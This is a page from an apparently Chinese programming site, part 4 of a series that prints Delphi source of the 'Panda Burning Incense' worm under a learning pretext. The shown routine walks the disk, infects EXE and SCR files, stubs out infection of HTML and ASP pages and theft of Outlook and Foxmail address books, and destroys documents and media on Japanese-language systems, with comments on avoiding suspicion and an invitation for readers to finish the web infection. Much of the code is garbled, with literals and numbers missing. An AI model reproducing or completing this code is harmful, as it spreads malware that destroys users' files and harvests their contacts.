熱點推薦:
您现在的位置: 電腦知識網 >> 編程 >> Delphi編程 >> 正文

從“熊貓燒香”中學程序[4]

2022-06-13   來源: Delphi編程 
    end;
  begin
    if (FindFirst(Path + Mask faAnyFile SearchRec) = ) then
    begin
      repeat
        PeekMessage(Msg PM_REMOVE); //調整消息隊列避免引起懷疑
        if IsValidDir(SearchRec) = then
        begin
          Fn := Path + SearchRecName;
          Ext := UpperCase(ExtractFileExt(Fn));
          if (Ext = EXE) or (Ext = SCR) then
          begin
            InfectOneFile(Fn); //感染可執行文件       
          end
          else if (Ext = HTM) or (Ext = HTML) or (Ext = ASP) then
          begin
            //感染HTML和ASP文件將Base編碼後的病毒寫入
            //感染浏覽此網頁的所有用戶
            //哪位大兄弟願意完成之?
          end
          else if Ext = WAB then //Outlook地址簿文件
          begin
            //獲取Outlook郵件地址
          end
          else if Ext = ADC then //Foxmail地址自動完成文件
          begin
            //獲取Foxmail郵件地址
          end
          else if Ext = IND then //Foxmail地址簿文件
          begin
            //獲取Foxmail郵件地址
          end
          else
          begin
            if IsJap then //是倭文操作系統
            begin
              if (Ext = DOC) or (Ext = XLS) or (Ext = MDB) or
                (Ext = MP) or (Ext = RM) or (Ext = RA) or
                (Ext = WMA) or (Ext = ZIP) or (Ext = RAR) or
                (Ext = MPEG) or (Ext = ASF) or (Ext = JPG) or
                (Ext = JPEG) or (Ext = GIF) or (Ext = SWF) or
                (Ext = PDF) or (Ext = CHM) or (Ext = AVI) then
                  SmashFile(Fn); //摧毀文件
            end;
          end;
        end;
        //感染或刪除一個文件後睡眠毫秒避免CPU占用率過高引起懷疑
        Sleep();
      until (FindNext(SearchRec) <> );
    end;
    FindClose(SearchRec);
    SubDir := TStringListCreate;
    if (FindFirst(Path + ** faDirectory SearchRec) = ) then
    begin
      repeat
        if IsValidDir(SearchRec) = then
          SubDirAdd(SearchRecName);
      until (FindNext(SearchRec) <> );
      end;
    FindClose(SearchRec);
    Count := SubDirCount ;
    for i := to Count do
      LoopFiles(Path + SubDirStrings[i] + Mask);
    FreeAndNil(SubDir);
  end;
  { 遍歷磁盤上所有的文件 }

[]  []  []  []  []  


From:http://tw.wingwit.com/Article/program/Delphi/201311/8476.html
    推薦文章
    Copyright © 2005-2022 電腦知識網 Computer Knowledge   All rights reserved.